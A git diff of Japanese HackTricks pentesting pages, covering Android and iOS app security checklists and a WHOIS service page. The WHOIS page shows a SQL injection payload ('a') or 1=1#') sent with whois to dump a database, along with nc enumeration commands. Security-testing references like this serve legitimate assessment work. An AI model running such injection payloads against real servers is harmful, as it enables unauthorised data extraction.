* [ ] 銀行アプリなどの**重要なアプリケーション**は、モバイルがルート化されているかどうかをチェックし、それに応じて動作する必要があります。
|
||||
* [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用をチェックし、モバイルがルート化されているか、エミュレータが使用されているか、および防御チェックが行われているかを確認します。[詳細はこちらを参照](android-app-pentesting/#other-checks)。
|
||||
* [ ] 銀行アプリなどの**機密アプリケーション**は、モバイルがルート化されているかどうかをチェックし、適切に対応する必要があります。
|
||||
* [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)(パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなど)を検索します。
|
||||
* [ ] [firebase ](android-app-pentesting/#firebase)APIに特別な注意を払います。
|
||||
* [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] アプリケーションがデバッグモードにあるかどうかをチェックし、それを「悪用」しようとします
|
||||
* [ ] アプリケーションがデバッグモードにあるかどうかをチェックし、「悪用」を試みます
|
||||
* [ ] APKがバックアップを許可しているかどうかを確認します
|
||||
* [ ] エクスポートされたアクティビティ
|
||||
* [ ] コンテンツプロバイダー
|
||||
* [ ] 公開されたサービス
|
||||
* [ ] ブロードキャストレシーバー
|
||||
* [ ] URLスキーム
|
||||
* [ ] アプリケーションが内部または外部に**安全でないデータを保存**しているかどうかは?
|
||||
* [ ] アプリケーションが内部または外部に**安全でない方法でデータを保存**しているかどうかは?
|
||||
* [ ] パスワードがハードコードされているか、ディスクに保存されているかは?アプリが**安全でない暗号アルゴリズム**を使用しているかは?
|
||||
* [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか?
|
||||
* [ ] このフェーズ中に非常に役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。
|
||||
|
@ -50,31 +58,37 @@
|
|||
### [動的解析](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] 環境を準備します([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)があるかどうかを確認します(ログ記録、コピー/貼り付け、クラッシュログ)?
|
||||
* [ ] SQLiteデータベースに**機密情報が保存**されていますか?
|
||||
* [ ] **悪用可能な公開されたアクティビティ**はありますか?
|
||||
* [ ] **悪用可能なコンテンツプロバイダー**はありますか?
|
||||
* [ ] **悪用可能な公開されたサービス**はありますか?
|
||||
* [ ] **悪用可能なブロードキャストレシーバー**はありますか?
|
||||
* [ ] アプリケーションが情報を**平文で送信/弱いアルゴリズムを使用**していませんか?MitMが可能ですか?
|
||||
* [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)があるかどうかを確認します(ログ記録、コピー/貼り付け、クラッシュログ)。
|
||||
* [ ] **SQLiteデータベースに保存されている機密情報**がありますか?
|
||||
* [ ] **悪用可能な公開されたアクティビティ**がありますか?
|
||||
* [ ] **悪用可能なコンテンツプロバイダー**がありますか?
|
||||
* [ ] **悪用可能な公開されたサービス**がありますか?
|
||||
* [ ] **悪用可能なブロードキャストレシーバー**がありますか?
|
||||
* [ ] アプリケーションが情報を**平文で送信/弱いアルゴリズムを使用**しているかどうかは?MitMが可能ですか?
|
||||
* [ ] HTTP/HTTPSトラフィックを**検査**します(android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWeb脆弱性を検索できます(HacktricksにはWeb脆弱性に関する多くの情報があります)。
|
||||
* [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)をチェックします(おそらくここでいくつかの静的コード分析が役立つでしょう)
|
||||
* [ ] [Frida](android-app-pentesting/#frida):Fridaだけを使用して、アプリケーションから興味深い動的データを取得します(おそらくいくつかのパスワード...)。
|
||||
* [ ] [Frida](android-app-pentesting/#frida):Fridaだけを使用して、アプリケーションから興味深い動的データを取得します(おそらくいくつかのパスワード...)
|
||||
|
||||
### 難読化/難読化情報
|
||||
|
||||
* [ ] [こちらを読んでください](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝したい**ですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)を入手しましょう。
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝したい**ですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有しましょう。
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,25 +3,33 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセス:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって**強化された**ワークフローを簡単に構築し、**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### 準備
|
||||
|
||||
* [ ] [**iOS Basics**](ios-pentesting/ios-basics.md)を読む
|
||||
|
@ -30,104 +38,109 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### データストレージ
|
||||
|
||||
* [ ] [**Plistファイル**](ios-pentesting/#plist)には機密情報を保存できます。
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)には機密情報を保存できます。
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)には機密情報を保存できます。
|
||||
* [ ] [**Plistファイル**](ios-pentesting/#plist)には機密情報を保存することができます。
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)には機密情報を保存することができます。
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)には機密情報を保存することができます。
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases)の設定ミス。
|
||||
* [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)には機密情報を保存できます。
|
||||
* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には機密情報を保存できます。
|
||||
* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には機密情報を保存できます。
|
||||
* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には機密情報を保存できます。
|
||||
* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には視覚的な機密情報を保存できます。
|
||||
* [ ] [**Realmデータベース**](ios-pentesting/#realm-databases)には機密情報を保存することができます。
|
||||
* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には機密情報を保存することができます。
|
||||
* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には機密情報を保存することができます。
|
||||
* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には機密情報を保存することができます。
|
||||
* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には視覚的に機密情報を保存することができます。
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain)は通常、再販時に残される可能性のある機密情報を保存するために使用されます。
|
||||
* [ ] 要するに、**アプリケーションがファイルシステムに保存した機密情報をチェック**するだけです。
|
||||
* [ ] 要するに、アプリケーションがファイルシステムに保存した機密情報を**チェック**するだけです。
|
||||
|
||||
### キーボード
|
||||
|
||||
* [ ] アプリケーションが[**カスタムキーボードを使用できるように許可しているか**](ios-pentesting/#custom-keyboards-keyboard-cache)を確認しますか?
|
||||
* [ ] [**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に機密情報が保存されていないか確認しますか?
|
||||
* [ ] 機密情報が[**キーボードキャッシュファイルに保存されているか**](ios-pentesting/#custom-keyboards-keyboard-cache)を確認しますか?
|
||||
|
||||
### **ログ**
|
||||
|
||||
* [ ] [**機密情報が記録されていないか**](ios-pentesting/#logs)を確認しますか?
|
||||
* [ ] [**機密情報が記録されているか**](ios-pentesting/#logs)を確認しますか?
|
||||
|
||||
### バックアップ
|
||||
|
||||
* [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの最初のポイントを確認してください)
|
||||
* [ ] また、[**バックアップ**](ios-pentesting/#backups)を使用して、アプリケーションの一部の構成を変更し、その後バックアップを電話に**復元**し、**変更された構成**が**ロード**されると、いくつかの(セキュリティ)**機能がバイパス**される可能性があります。
|
||||
* [ ] [**バックアップ**](ios-pentesting/#backups)は、ファイルシステムに保存された機密情報にアクセスするために使用できます(このチェックリストの最初のポイントを確認してください)
|
||||
* [ ] また、[**バックアップ**](ios-pentesting/#backups)は、アプリケーションの一部の構成を変更し、その後バックアップを電話に**復元**し、**変更された構成**が**ロード**されると、いくつかの(セキュリティ)**機能**が**バイパス**される可能性があります。
|
||||
|
||||
### **アプリケーションメモリ**
|
||||
|
||||
* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内の機密情報をチェックしますか?
|
||||
* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないかをチェックします。
|
||||
|
||||
### **破られた暗号**
|
||||
|
||||
* [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるか確認しますか?
|
||||
* [ ] 送信/保存される機密データに[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されていないか確認しますか?
|
||||
* [ ] 暗号化関数を[**フックして監視**](ios-pentesting/#broken-cryptography)しますか?
|
||||
* [ ] 暗号化に使用される[**パスワードを見つけることができるか**](ios-pentesting/#broken-cryptography)をチェックしますか?
|
||||
* [ ] 送信/保存される機密データに[**非推奨/弱いアルゴリズムが使用されていないか**](ios-pentesting/#broken-cryptography)をチェックしますか?
|
||||
* [ ] 暗号化関数を**フックして監視**することができますか?(ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **ローカル認証**
|
||||
|
||||
* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証方法を確認する必要があります。
|
||||
* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているかを確認する必要があります。
|
||||
* [ ] [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性があります。
|
||||
* [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムFridaスクリプトを作成できます。
|
||||
|
||||
### IPCを介した機密機能の露出
|
||||
|
||||
* [**カスタムURIハンドラ/ディープリンク/カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] アプリケーションが**どのプロトコル/スキームを登録しているか**を確認しますか?
|
||||
* [ ] アプリケーションが**使用するために登録しているか**どのプロトコル/スキームを確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**受信することを期待している機密情報**を、同じスキームを登録している別のアプリケーションによって**傍受**できるか確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**ユーザーの入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるか確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**どこからでも呼び出すことができる機密なアクション**を公開していないか確認しますか?
|
||||
* [ ] アプリケーションが**どのようなプロトコル/スキームを登録しているか**を確認しますか?
|
||||
* [ ] アプリケーションが**どのようなプロトコル/スキームを使用するために登録しているか**を確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**受信することを期待している機密情報**を、同じスキームを登録している別のアプリケーションによって**傍受**される可能性があるかを確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**ユーザーの入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかを確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**どこからでも呼び出すことができる機密なアクション**を公開していないかを確認しますか?
|
||||
* [**Universal Links**](ios-pentesting/#universal-links)
|
||||
* [ ] アプリケーションが**どのユニバーサルプロトコル/スキームを登録しているか**を確認しますか?
|
||||
* [ ] アプリケーションが**どのようなユニバーサルプロトコル/スキームを登録しているか**を確認しますか?
|
||||
* [ ] `apple-app-site-association`ファイルを確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**ユーザーの入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるか確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**どこからでも呼び出すことができる機密なアクション**を公開していないか確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**ユーザーの入力をチェックおよび消毒していない**かどうかを確認し、いくつかの**脆弱性が悪用**される可能性があるかを確認しますか?
|
||||
* [ ] アプリケーションがカスタムスキームを介して**どこからでも呼び出すことができる機密なアクション**を公開していないかを確認しますか?
|
||||
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] アプリケーションがUIActivitiesを受信できるかどうかを確認し、特別に作成されたアクティビティで**いかなる脆弱性も悪用**できるかを確認しますか?
|
||||
* [ ] アプリケーションがUIActivitiesを受信できるかどうかを確認し、特別に作成されたアクティビティで**脆弱性を悪用**できるかを確認しますか?
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] アプリケーションが**一般のペーストボードに何かをコピーしているか**を確認しますか?
|
||||
* [ ] アプリケーションが**一般のペーストボードからデータを使用しているか**を確認しますか?
|
||||
* [ ] ペーストボードを監視して、**機密データがコピーされていないか**を確認しますか?
|
||||
* [ ] アプリケーションが**一般的なペーストボードに何かをコピーしているか**を確認しますか?
|
||||
* [ ] アプリケーションが**一般的なペーストボードからデータを使用しているか**を確認しますか?
|
||||
* [ ] ペーストボードを監視して、**機密データがコピーされているか**を確認しますか?
|
||||
* [**App Extensions**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] アプリケーションが**どの拡張機能を使用しているか**を確認しますか?
|
||||
* [ ] アプリケーションが**どのような拡張機能を使用しているか**を確認しますか?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] 使用されているWebViewsの種類を確認しますか?
|
||||
* [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認しますか?
|
||||
* [ ] Webviewが**`file://`プロトコルでローカルファイルにアクセスできるか**を確認しますか?(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Javascriptが**ネイティブメソッドにアクセスできるか**を確認しますか?(`JSContext`、`postMessage`)
|
||||
|
||||
* [ ] Javascriptが**Native** **メソッドにアクセスできるか**を確認しますか?(`JSContext`、`postMessage`)
|
||||
### ネットワーク通信
|
||||
|
||||
* [ ] [**通信のMitM**](ios-pentesting/#network-communication)を実行し、Web脆弱性を検索します。
|
||||
* [ ] 証明書の**ホスト名**(ios-pentesting/#hostname-check)がチェックされているか確認しますか?
|
||||
* [ ] [**証明書ピニング**](ios-pentesting/#certificate-pinning)をチェック/バイパスしますか?
|
||||
* [ ] [**通信へのMitMを実行**](ios-pentesting/#network-communication)し、Web脆弱性を検索します。
|
||||
* [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)がチェックされているかどうかを確認します。
|
||||
* [ ] [**証明書ピニング**](ios-pentesting/#certificate-pinning)をチェック/バイパスします。
|
||||
|
||||
### **その他**
|
||||
|
||||
* [ ] [**自動パッチ適用/更新**](ios-pentesting/#hot-patching-enforced-updateing)メカニズムをチェックしますか?
|
||||
* [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)をチェックしますか?
|
||||
* [ ] [**自動パッチ適用/更新**](ios-pentesting/#hot-patching-enforced-updateing)メカニズムをチェックします。
|
||||
* [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)をチェックします。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセス:
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -4,18 +4,25 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
* **ハッキングテクニックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
# 基本情報
|
||||
|
||||
**WHOIS** プロトコルは、特定のデータベースを介して **さまざまなインターネットリソースの登録者や保有者について問い合わせる** 標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これら以外にも、プロトコルはさまざまな情報にアクセスするために利用されます。
|
||||
**WHOIS**プロトコルは、特定のデータベースを介して**さまざまなインターネットリソースの登録者や保有者について問い合わせる**ための標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これら以外にも、プロトコルはより広範囲の情報にアクセスするために使用されます。
|
||||
|
||||
**デフォルトポート:** 43
|
||||
```
|
||||
|
@ -29,16 +36,22 @@ PORT STATE SERVICE
|
|||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Notice that sometimes when requesting information from a WHOIS service, the database being used appears in the response:
|
||||
時々、WHOISサービスに情報をリクエストすると、使用されているデータベースがレスポンスに表示されることがあります:
|
||||
|
||||
![](<../.gitbook/assets/image (147).png>)
|
||||
|
||||
Also, the WHOIS service always needs to use a **database** to store and extract the information. So, a possible **SQLInjection** could be present when **querying** the database from some information provided by the user. For example, by executing: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` you could potentially **extract all** the **information** saved in the database.
|
||||
また、WHOISサービスは常に情報を格納および抽出するために**データベース**を使用する必要があります。したがって、ユーザーが提供した情報を使用してデータベースを**クエリ**する際に、**SQLInjection**が発生する可能性があります。たとえば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`を実行すると、データベースに保存されているすべての**情報**を**抽出**できるかもしれません。
|
||||
|
||||
# Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
# HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
|
@ -61,14 +74,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
* **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
